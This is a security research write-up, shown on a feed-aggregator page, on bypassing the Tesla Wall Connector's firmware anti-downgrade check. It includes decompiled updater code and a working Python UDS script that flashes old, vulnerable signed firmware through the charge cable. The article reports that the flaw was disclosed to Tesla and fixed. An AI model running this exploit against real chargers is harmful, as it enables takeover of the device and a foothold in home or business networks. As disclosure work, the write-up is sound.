惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

S
Securelist
C
Cybersecurity and Infrastructure Security Agency CISA
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
S
Security Affairs
Hacker News: Ask HN
Hacker News: Ask HN
L
Lohrmann on Cybersecurity
PCI Perspectives
PCI Perspectives
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
C
Cyber Attacks, Cyber Crime and Cyber Security
Recent Commits to openclaw:main
Recent Commits to openclaw:main
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
MyScale Blog
MyScale Blog
月光博客
月光博客
W
WeLiveSecurity
T
Threat Research - Cisco Blogs
Martin Fowler
Martin Fowler
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
Recorded Future
Recorded Future
The GitHub Blog
The GitHub Blog
Webroot Blog
Webroot Blog
Security Archives - TechRepublic
Security Archives - TechRepublic
TaoSecurity Blog
TaoSecurity Blog
P
Proofpoint News Feed
Google DeepMind News
Google DeepMind News
F
Full Disclosure
U
Unit 42
Jina AI
Jina AI
博客园 - 司徒正美
阮一峰的网络日志
阮一峰的网络日志
L
LINUX DO - 最新话题
宝玉的分享
宝玉的分享
大猫的无限游戏
大猫的无限游戏
The Hacker News
The Hacker News
The Last Watchdog
The Last Watchdog
T
Troy Hunt's Blog
腾讯CDC
T
Threatpost
H
Hacker News: Front Page
P
Palo Alto Networks Blog
博客园 - 聂微东
Last Week in AI
Last Week in AI
有赞技术团队
有赞技术团队
Help Net Security
Help Net Security
L
LINUX DO - 热门话题
N
News and Events Feed by Topic
人人都是产品经理
人人都是产品经理
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Spread Privacy
Spread Privacy

Hacker News

Introducing Claude Opus 4.7 Qwen Studio The Future of Everything is Lies, I Guess: Where Do We Go From Here? GitHub - SeanFDZ/macmind: Single-layer transformer in HyperTalk for the classic Macintosh Show HN: Agent-cache – Multi-tier LLM/tool/session caching for Valkey and Redis Moving a large-scale metrics pipeline from StatsD to OpenTelemetry / Prometheus GitHub - Nightmare-Eclipse/RedSun: The Red Sun vulnerability repository GitHub - SethPyle376/hiraeth: Local AWS emulator focused on fast integration testing, with SQS support, SQLite-backed state, and a debug-friendly web UI. GitHub - macOS26/Agent: Any AI, replaces Claude Code, Cursor, OpenClaw. Over 18 LLM providers (Claude, OpenAI, Gemini, Ollama, Zai, HF, Qwen) wired into a native Mac app that writes code, builds Xcode projects, bumps versions, manages git, automates Safari, use AppleScript, JS or Accessibility, extend Agent! w/ MCP Servers, run tasks from your iPhone via Messages. YouTube now lets you turn off Shorts I Made a Terminal Pager Burgers | マクドナルド公式 Commands — HackerNews CLI documentation ChatGPT for Excel PiCore - Raspberry Pi Port of Tiny Core Linux Live Nation illegally monopolized ticketing market, jury finds Google Broke Its Promise to Me. Now ICE Has My Data. Founding Engineer at Adaptional | Y Combinator CRISPR takes important step toward silencing Down syndrome’s extra chromosome GitHub - saffron-health/libretto: The AI toolkit for building reliable browser automations US v. Heppner (S.D.N.Y. 2026) no attorney-client privilege for AI chats [pdf] Unexpected €54k billing spike in 13 hours: Firebase browser key without API restrictions used for Gemini requests Retrofitting JIT Compilers into C Interpreters IPv6 – Google The Accursèd Alphabetical Clock Cybersecurity Looks Like Proof of Work Now Fragments: April 14 Cal.com Goes Closed Source: Why AI Security Is Forcing Our Decision | Cal.com - Scheduling Software for Online Bookings Laravel raised money and now injects ads directly into your agent When moving fast, talking is the first thing to break Too much Discussion of the XOR swap trick – Heather Cafe Introduction to Spherical Harmonics for Graphics Programmers The Grand Line Building a Z-Machine in the worst possible language High-Level Rust: Getting 80% of the Benefits with 20% of the Pain GitHub - duguyue100/midnight-captain: Inspired by Midnight Commander, tailored to my taste. How to build a `git diff` driver · Jamie Tanna | Software Engineer Center for Responsible, Decentralized Intelligence at Berkeley The Local Universe’s Expansion Rate Is Clearer Than Ever, but Still Doesn’t Add Up - A new synthesis of astronomical measurements confirms a persistent mismatch that could point to physics beyond current models The air throughout our homes is infused with microplastics. But there are things you can do to breathe less of them The disturbing white paper Red Hat is trying to erase from the internet – OSnews The Future of Everything is Lies, I Guess: Annoyances ‘Abhorrent’: the inside story of the Polymarket gamblers betting millions on war Productive procrastination — Max van IJsselmuiden maps, territory and LMs 447 Terabytes per Square Centimetre at Zero Retention Energy: Non-Volatile Memory at the Atomic Scale on Fluorographane Show HN: Pardonned.com – A searchable database of US Pardons 20 Years on AWS and Never Not My Job The Seasons are Wrong Artemis II crew splashes down near San Diego after historic moon mission We gave an AI a 3 year retail lease in SF and asked it to make a profit | Andon Labs How a dancer with ALS used brainwaves to perform live On filing the corners off my MacBooks Installing every* Firefox extension OpenClaw’s memory is unreliable, and you don’t know when it will break Steve Blank Nowhere Is Safe Chimpanzees in Uganda locked in vicious 'civil war', say researchers watgo - a WebAssembly Toolkit for Go linux/Documentation/process/coding-assistants.rst at master · torvalds/linux GitHub - callumlocke/json-formatter: Makes JSON easy to read. Founding Product Engineer at Bild AI | Y Combinator A compelling title that is cryptic enough to get you to take action on it GitHub - Keychron/Keychron-Keyboards-Hardware-Design: Industrial design files for Keychron keyboards and mice. 100+ models with CAD assets in STEP, DXF, DWG, and PDF. Source-available, with commercial use allowed for original compatible accessories within the license terms. [ANNOUNCE] WireGuardNT v0.11 and WireGuard for Windows v0.6 Released 1D-Chess Helium Is Hard to Replace Cooperative Vectors Introduction | Evolve Keeping a Postgres queue healthy — PlanetScale Our response to the Axios developer tool compromise Do Americans read print books, e-books or audiobooks more? The Zettelkasten Method in Obsidian: A Practical Setup Guide Artemis II Is Competency Porn and We Are Starving For It WeakC4 Flight Viz — Cockpit View A Mexican surveillance giant you’ve never heard of is now watching the U.S. border Surelock: Deadlock-Free Mutexes for Rust RISC-V 101 – what is it and what does it mean for Canonical? | Ubuntu The Problem That Built an Industry How Much Linear Memory Access Is Enough? | Solidean Investigating Split Locks on x86-64 Simplest hash functions Sybilproof reputation mechanisms (2005) [pdf] What is a property? How Complex is my Code? Static code analysis in Kotlin — tools overview Toffoli gates are all you need PGLite evangelism dcmake: a new CMake debugger UI Clojure on Fennel part one: Persistent Data Structures Fragments: April 2 Python Release Python install manager 26.1 The Life and Death of the Book Review - Liberties Introducing Database Traffic Control — PlanetScale Bitcoin miners are losing $19,000 on every BTC produced as difficulty drops 7.8% God sleeps in the minerals Building slogbox Apple Silicon and Virtual Machines: Beating the 2 VM Limit Who was “Not Even Wrong” first? Pokemon Evolution Vs Darwinian Evolution The APL Programming Language Source Code
Exploiting the Tesla Wall Connector from its charge port connector -
p_stuart82 · 2026-05-15 · via Hacker News

A quick recap of the update procedure

We described the full update flow over Single-Wire CAN in the first article. In short:

  1. Open a UDS session (type 2).
  2. Authenticate with Security Access (level 5, XOR-0x35 algorithm).
  3. Run routine 0xFF00 to prepare and erase the passive slot.
  4. Write 0x0E to identifier 0x102 to mark the slot as “settable via UDS”.
  5. Push the firmware with Request Download / Transfer Data / Request Transfer Exit.
  6. Run routine 0x201 to validate the freshly written image and switch slots.
  7. Run routine 0x202 to reboot.

As a reminder, the AW-CU300 uses two firmware slots: one active (currently running) and one passive (target of the update). After a successful update, slots flip and the new firmware becomes active on next boot.

What changed in 24.44.3

After diffing the old firmware against version 24.44.3, we focused on switch_to_new_firmware(), the function that handles UDS routine 0x201:

int switch_to_new_firmware()
{
    ...
    if ( settable_via_uds != 14 || !passive_firmware )
        return 1;
    if ( passive <= 0
      || passive > passive_firmware->size
      || (v2 = check_signature(passive_firmware->start, passive)) != 0
      || !check_image_and_antidowngrade(nullptr) )
    {
        part_erase(flash_drv, passive_firmware->start, 0x14u);
        v2 = 4;
    }
    else
    {
        part_write_layout(passive_firmware);
    }
    flash_drv_close(flash_drv);
    passive_firmware = nullptr;
    return v2;
}

check_image_and_antidowngrade() is new. It parses the firmware segments, recomputes their CRCs, then calls verify_firmware_segments_platform() for the ratchet comparison:

int verify_firmware_segments_platform(int flash_drv, u32_t *segments, ...)
{
    ...
    // Walk the segments looking for the version descriptor in the
    // segment that ends in the [0x100000 .. 0x100010] window.
    ...
    if ( buffer.next != (netif *)'NSRV' /* "VRSN" */ )
        goto next_segment;

    major = LOBYTE(buffer.ip_addr.addr);
    minor = BYTE1(buffer.ip_addr.addr);

    if ( buffer.netmask.addr == '2SRV' /* "VRS2" */
      && LOBYTE(buffer.gw.addr) > 1u )
        firmware_ratchet = BYTE2(buffer.gw.addr);
    else
        firmware_ratchet = 0;
    ...

    sub_1F04866C(&current_ratchet);   // read ratchet from PSM (persistent storage)

    if ( current_ratchet <= firmware_ratchet
      || !call_psm_wrapper(...) )
    {
        return 0;                     // accepted
    }

    log("Failure: Security ratchet downgrade prevented %d < %d",
        firmware_ratchet, current_ratchet);
    return -1;
}

Version information is embedded in firmware segments (VRSN for the version, VRS2 for the ratchet), in the segment that loads near 0x100000. Only the updater parses this, not the bootloader. On the device side, the ratchet lives in PSM (Persistent Storage Manager) and gets incremented when a higher-ratchet image is activated.

So on a 24.44.3 device, sending the old 0.8.58 firmware and calling routine 0x201 terminates with:

ERROR verify_firmware_segments_platform:145
Failure: Security ratchet downgrade prevented 0 < N

And the slot gets immediately erased. There is no way to keep an old image in flash through the official path.

The bootloader doesn't care

boot2, as it is called in the build artifacts, sits in flash at a fixed address and is not part of any firmware update shipped by Tesla. We had to dump the flash from a charger we previously rooted via the original Pwn2Own exploit to analyze it.

It does perform several checks on the active firmware before jumping to it:

  • Magic header (SBFH).
  • Per-segment CRC32.
  • RSA signature against a key from the keystore.

But it has no notion of a security ratchet. Any firmware image with a valid signature and correct CRC will execute, regardless of its version. Neither boot2 nor the bootrom implement secure boot. So the anti-downgrade is enforced exclusively by one piece of code, switch_to_new_firmware(), at one moment: when routine 0x201 is called.

So: can we get an old, signed firmware into the active slot without ever calling routine 0x201 on it?

How a slot becomes active

Routine 0xFF00 calls prepare_passive_slot(), which selects which physical slot is "passive" based on the current boot flags, then erases it:

int prepare_passive_slot(int a1, int a2, int a3)
{
    partition_entry *f1, *f2;
    int16_t v7 = 0;

    if ( part_read_layout(a1, a2, a3)
      || (f1 = part_get_layout_by_id(1, &v7),
          f2 = part_get_layout_by_id(1, &v7),
          !f1)
      || !f2 )
    {
        passive_firmware = nullptr;
        __und(0xFFu);
    }

    if ( (g_boot_flags & 3) != 0 )    // we booted from slot 1?
        f2 = f1;                      // then passive is slot 0

    passive_firmware = f2;
    ...
    if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 )
        ...
    return 0;
}

part_get_layout_by_id() is iterator-based: first call returns the first partition entry with id 1, second call returns the next one. Depending on g_boot_flags, one or the other becomes passive.

Here is what matters: g_boot_flags is set at boot time and never updated. It reflects which slot we booted from, not what the partition table currently says.

part_write_layout(), which flips slots, does not touch firmware data. It only rewrites the partition table by bumping a per-slot generation counter:

int part_write_layout(partition_entry *a1)
{
    ...
    if ( /* a1 matches f1 */ )
        v3->gen_level = v4->gen_level + 1;
    else if ( /* a1 matches f2 */ )
        v4->gen_level = v3->gen_level + 1;
    else
        return -23;

    // erase + rewrite the 4KiB partition table area
    part_erase(v8, partition_table_addr, 0x1000);
    flash_write(v8, &dword_129B7C, 16);
    flash_write(v8, byte_1299FC, 24 * word_129B82);
    flash_write(v8, &checksum, 4);
    ...
}

On boot, the bootloader picks the slot with the highest gen_level. So to make a slot active for next boot, you only need part_write_layout() to succeed once for that slot. What happens to its content afterwards does not matter.

The bypass

To recap: routine 0xFF00 erases the physical passive slot based on g_boot_flags (which never changes during a session), routine 0x201 validates slot contents and writes the partition layout, and the bootloader trusts the partition table without checking the ratchet.

With that in mind:

  1. Send a valid, up-to-date firmware to the passive slot. Call routine 0x201. Validation passes; the partition layout is written, so this slot now has the highest gen_level.
  2. Without rebooting, call routine 0xFF00 again. Because g_boot_flags hasn’t changed, the same physical slot is selected as passive, and the firmware we just validated is erased. The partition table is not touched.
  3. Send an old, signed-but-vulnerable firmware to the now-empty slot.
  4. Skip routine 0x201 entirely (we don't need it, and it would refuse the image). Just call routine 0x202 to reboot.

On reboot, the bootloader reads the partition table, picks the slot with the highest gen_level (the one we just rewrote), validates its signature (still valid, it is a properly signed firmware), and jumps in. The anti-downgrade check never ran on the old image.

Exploit

Our exploit is a small extension of the Pwn2Own car simulator. Single-Wire CAN setup, GPIO sequence, UDS plumbing: all unchanged. Only the update sequence is doubled:

with Client(conn, config=uds_config) as client:
    client.set_config('security_algo', tesla_uds_algo)
    client.change_session(2)
    client.unlock_security_access(5)

    # 1. Push a valid, up-to-date firmware and let routine 0x201
    #    write the partition layout for us.
    client.routine_control(routine_id=0xFF00, control_type=1)
    client.write_data_by_identifier(0x102, 0x0E)
    data = open("firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin","rb").read()
    send_firmware_data(client, data)
    client.routine_control(routine_id=0x201, control_type=1)  # writes layout
    sleep(1)

    # 2. Re-prepare the same physical slot. The valid firmware gets
    #    erased; the partition table is untouched.
    client.routine_control(routine_id=0xFF00, control_type=1)
    client.write_data_by_identifier(0x102, 0x0E)
    data = open("firmwares/WC3_PROD_OTA_08.58.bin","rb").read()
    send_firmware_data(client, data)
    sleep(1)

    # 3. Reboot. The bootloader will boot the old firmware because
    #    the partition table still says this slot is the active one.
    client.routine_control(routine_id=0x202, control_type=1)

Total run time is roughly 30 minutes on the 33.3 kbps SWCAN bus: twice the original Pwn2Own timing, since two full firmware images have to be sent over the cable. After reboot, version 0.8.58 is back in charge, and the rest of the original chain (UDS leak of the Wi-Fi credentials, telnet to the debug shell, buffer overflow in the argument parser) works exactly as before.

Conclusion

Because the anti-downgrade only lives in the updater and the bootloader does not check the ratchet, any sequence that commits the partition layout then overwrites the slot content bypasses it. Routine 0xFF00 lets us do exactly that: erase the firmware after the layout has been written, then write whatever we want.

Enforcing the ratchet in the bootloader would close this gap. Other options: have routine 0xFF00 invalidate the partition layout entry when erasing a slot, so an erased-then-rewritten slot is never picked as bootable. Or simply force a reboot after a successful update, or reject any new update session once routine 0x201 has succeeded.

We reported this vulnerability to Tesla and it was fixed in a firmware update several months ago. As with the first article, the Wall Connector typically sits on a home or business network, and a charger taken over via its charging cable becomes a foothold inside that network. On the bright side, Tesla's automatic OTA deployment to connected chargers means the fix reaches most devices quickly, reducing the exposure window in practice.